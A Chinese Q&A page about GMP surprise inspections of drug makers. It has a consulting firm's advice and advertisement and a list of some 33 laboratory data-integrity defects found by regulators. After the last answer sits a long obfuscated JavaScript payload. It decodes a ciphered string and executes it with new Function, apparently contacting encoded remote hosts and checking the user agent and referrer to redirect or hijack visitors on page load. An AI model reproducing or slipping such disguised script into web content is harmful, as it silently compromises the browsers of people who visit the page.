如何应对飞检

2025-03-06 07:59:54
推荐回答(2个)
回答1:

面对严峻的飞检形式,医药生产企业该怎么应对GMP飞行检查?CIO合规保证组织为医药生产企业(药厂、保健食品厂、医疗器械厂、化妆品厂)整理了几点针对GMP飞行检查对医药企业的建议。CIO在线提供模拟GMP飞行检查(GMP审计)服务,通过第三方审计让医药生产企业变得合规,降低飞检撤证风险,从容面对GMP飞行检查。

第一,要尽量避免因为“投诉举报”引来飞行检查。
导致投诉举报的根本原因是企业存在违规的行为,直接原因是企业的人员管理方面的问题。为了避免企业被举报,相信很多企业已经从人员管理层面采取各种措施,我听说的就有“设立反举报小组”、“建立信息保密系统”、“人员奖惩措施”、“采用更隐蔽的方式违规”等等,实际上这等于饮鸩止渴!如果不解决根本原因,不从“如何做更合规”的角度来解决问题,如果不营造一个“积极整改、真正执行GMP”的氛围,那么就不能从根本上解决“投诉举报”的问题。
《2014-2016飞行检查缺陷统计分析》中写到因为“投诉举报”和“特定事件”引起的飞行检查,企业失败率非常非常高。原因有二:
  一方面,飞行检查组是有针对性和目标性的,到了工厂后会直奔问题点;
  另一方面,投诉举报或者在特定事件中,药监部门可能已经掌握了企业的一些证据,所以飞检失败的可能性非常大。

  第二:省局不是企业的顾问和“靠山”!
省局是不会包庇企业的,省局不会充当企业的“顾问”,也不会对企业进行“飞行检查演练”,有问题就是有问题。所以建议企业不要把救命稻草交给省局和市局,要把这根稻草放到自己手里面,可以自检,也可以请第三公司进行“模拟飞检”,目标只有一个:切实提高GMP水平,杜绝造假和违规。

  第三:不要顾实验室“此”而失其他“彼”。
如上所说,很多企业把数据完整性片面的理解为“实验室数据”的完整性,而且把主要精力都放在了“实验室的数据完整性”上。这样做的后果就是,不仅不能全面整改“数据完整性”问题,反而会因为其的一些问题导致检查或者飞行检查失败。根据之前发布的《2014-2016飞行检查缺陷统计分析》统计,导致飞行检查失败的原因有很多,实验室数据完整性只是一个方面,就拿珠海亿邦这次检查来说,第二条缺陷明显就是数据完整性的问题,但不是“实验室方面”的。所以,我们建议企业,应该全面的进行GMP体系的整改和提升,不能一头扎进实验室而忽略了其他问题的整改。

如何降低GMP飞行检查被撤证的风险?

模拟GMP飞行检查
应对GMP飞行检查
GMP飞行检查的准备工作
GMP审计

CIO(Compliance Insurance Organization,合规保证组织)全新推出“全真模拟GMP飞行检查”审计服务,无论您是药厂、保健食品厂、医疗器械厂、化妆品厂,只需提前预约,CIO便派出经验丰富的专业咨询师上门开展“全真GMP模拟飞行检查”审计服务,全面审计企业风险,指导企业整改提高,赶在药监部门上门飞检之前彻底整改缺陷,大大降低被飞检撤证的风险!

回答2:

实验室管理作为GMP规范实施的基石之一,越来越受到监管部门和企业重视,随着监管和行业发展成为了新的监管趋势。实验室管理涉及了企业生产、质量、物料等各部门。分析近几年国家药监部门发布的飞检数据发现,实验室数据真实性、文件记录、设备管理等缺陷多达近160条。为方便大家自查和改进,整理了相关GMP飞行检查公布的实验室管理缺陷,供大家参考。

1、实验数据真实性缺陷

1、实验记录缺失。

被查企业生产的口服溶液在测定高效液相图谱前,未进行色谱条件与系统适用性实验,检测时对照品和样品配制1份、进2针。

2、检测报告缺失。

被查企业物料部分检测项目委托鄂州市食品药品检验检测中心检验,但现场不能提供相关检测报告。 

3、台账存储电脑无权限设置。

被查企业QC实验室检验台账、取样台账,QA变更台账、偏差台账均为Word格式的电子版本,但储存上述台账的电脑无权限管理设置。

4、实际检测结果与注册申报结果不符。

被查企业用于申报生产的9个批次的人血白蛋白在长期稳定性考察中,大部分铝离子实际检测结果高于规定的“不得高于200µg/L”的标准,与注册申报数据不符。 

5、上市后持续稳定性数据可靠性与实际检测不符。

被查企业的人血白蛋白后持续稳定性铝离子实际检测数据不符合标准,企业存在修改样品名、删除检测记录重新检测等问题。比如,实际检测结果为408µg/L,报告为143µg/L;激肽释放酶原激活剂(PKA)含量实际值与记录值不一致,实际值不符合药典规定(≦35IU/ml)。 

6、无中间品配制记录。

飞检人员未在被查企业发现生产所需的水合氯醛,企业亦无法提供其配制记录。

7、未能提供检验原始记录。

被检企业未能提供多批次原材料的检验原始记录或委托检验报告、委托检验合同。 

8、计算机化系统内数据删改权限设置不合理。

被检企业化学实验室电脑、液相色谱仪软件各级别帐号权限混乱,分析员帐号进入色谱软件系统不能修改检验方法和积分参数,管理员帐号却可以。

9、无包材检验数据记录。

被检企业无法提供相关包材检验数据,调查发现QC人员未按SOP对物料检验对部分包材不取样,不检验,直接发放检验合格报告。

10、相关批次检验图谱雷同。

被检企业的西咪替丁原料药红外鉴别图谱201706048批、201706055批和201704003批雷同;201706017批、201706015批雷同;201704024批、201704025批和201706037批雷同。 

11、发现被查企业实验室存在空白但已签名的原始检验记录。 

12、数据可靠性存疑。

(1)被查企业QC实验室高效液相色谱电脑系统存在100多次修改系统时间的情况,无法确定相关数据的真实测试时间。 

(2)被查企业部分色谱分析电子图谱及审计追踪数据被删除。 

(3)被查企业部分高效液相色谱仪存在重复进样检测,选择性使用图谱的现象。对不合格的检测结果企业未开展相关调查,且不能提供合理解释。 

13、被查企业修改电脑系统时间进行补做试验。

14、微生物限度检查检验报告涉嫌造假。

被查企业部分批次样品的微生物限度检验日期与培养基配置、培养箱使用记录不符。 

15、缺少检验记录或检验原始数据。

(1)被查企业的部分批次产品的中间品仅有检验报告,却无检验记录的原始数据。

(2)被查企业的部分产品无批生产记录及检验记录,也无中间体及成品检验的色谱图电子数据。

16、原材料检验图谱造假。

被查企业存在多批次原材料检验记录的纤维鉴别图谱完全一致的现象,检验人员承认其图谱造假。

17、被查企业部分仪器设备未开启审计追踪功能并存在多次修改日志记录的现象。 

18、伪造产品生产质量过程控制数据。

被查企业伪造中间品和成品检测数据、纯化水系统验证微生物限度检测数据、培养基模拟灌装试验培养室温度监测数据、洁净区空气监测数据、上市批次的冻干工艺批生产记录等,并掩盖不合格产品真实原因的有关数据、篡改QC实验室计算机系统时间等。

19、检验记录不完善,检验报告不真实。

(1)被查企业在原料检验报告书中,在没有该项目的检测能力下,出具了全检报告。

(2)被查企业在图谱丢失的情况下,为了保证重新打印的图谱与当时监测报告的打印时间一致,对电脑时间进行了修改。

(3)被查企业原料检验报告书存在检验记录不规范的行为,对照品的发放记录、配制记录、含量测定的图谱上都没有对照品的批号,且图谱无检验人及复核人的签字确认。

20、检验数据存在数据可靠性问题。

(1)被查企业的检验报告中的图谱时间、峰面积与电子数据不一致。 

(2)被查企业的高效液相色谱仪中存在删除命名数据文件的现象。

(3)被查企业的实验室的显微镜无测微尺,但提供的检验记录中有显微特征尺寸。

21、编造检验记录。

(1)被查企业未按购进时间和质量标准要求对原料进行检验,编造检验记录。 

(2)被查企业的实验室未能完整提供相关原料请验单、检验报告、检验记录等原始数据。

(3)被查企业的部分检验报告单上标注2015年请验并检验,而实验室办公电脑中发现上述检验报告单均为2017年生成并打印。

(4)被查企业的原料含量测定所用的产品均未见配制记录。

22、测定图谱不全。

被查企业的已售产品的含量测定图谱不全,而且存在通过修改系统时间方式进行补充的现象。

23、删除图谱,且未记录原因。

通过恢复被查企业计算机系统回收站已清空的数据发现,有相关图谱被删除,且被删除图谱,与现存的用于物料放行的同一名称的图谱不一致。

24、滴定液浓度不符,无配制记录。

被查企业使用的相关滴定液的检验原始记录中显示该滴定液的浓度为0.01667mol/L,而实际该滴定液的浓度为0.01625mol/L,且无相关配制记录。  

25、被查企业的质量控制部门未按质量标准对纯化水、原辅料和成品进行检验,编造检验记录。

26、纯化水检验记录不真实。

被查企业在2016年7月22日对纯化水三个使用点取样检测,实际微生物检验应在7月27日完成,但7月26日企业即提供了合格的检验报告。7月26日检查现场发现该企业纯化水微生物生化培养箱的温度为19.2℃,未达到规定的30℃-35℃。

27、检验员不熟悉红外鉴别操作和结果判定。

被查企业的检验员在红外项目检验过程中,检查员用溴化钾代替规定的氯化钾压片(标准图谱为氯化钾压片),样品图谱与对照图谱在主要特征峰处差别较大,但检验报告结论仍判定为红外检测合格。 

28、异常数据审核不严。

被查企业在某溶液质量标准【含量测定】项下的要求进样量存在手动修改,但企业未启动偏差调查,且通过了企业内部审核。 

29、被查企业的QC精密仪器室高效液相色谱仪电脑中,其日志浏览器中的多项原始数据未能找到相应的图谱文件。

30、被查企业对电脑系统中出现的有问题的相关批次产品记录,却未能提供相应的事故调查报告,且该批次的微生物限度检查记录和检验报告均没有体现出该批次产品所出问题的相关信息。 

31、编造、修改批检验记录。

被查企业的同一批次中间品出现多个检验记录,且部分检验记录无实际生产记录;多个批次检验记录的创建时间间隔极短,检验时间有重叠。 

32、生产记录和检验数据造假。

(1)被查企业现用热风循环烘箱、高效液相色谱仪,与目前所生产产品品种、数量规模不匹配,后通过调查相关仪器的使用记录和相关人员发现,该企业涉嫌编造生产记录、检验记录。

(2)被查企业部分产品检验记录无对应的检验图谱、仪器使用记录和留样记录,且存在未经检验而直接形成《成品检验报告书》的造假现象。

(3)被查企业多个不同批次产品的检验数据、红外光谱图谱完全一致。

(4)被查企业的同一批次产品有多个检验报告书,报告内容除成品数量不同外,其它数据完全一致。

33、被查企业的高效液相色谱仪(HPLC)未安装审计追踪功能,未设置登录用户及权限,计算机操作系统时间有修改痕迹。答案来自

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();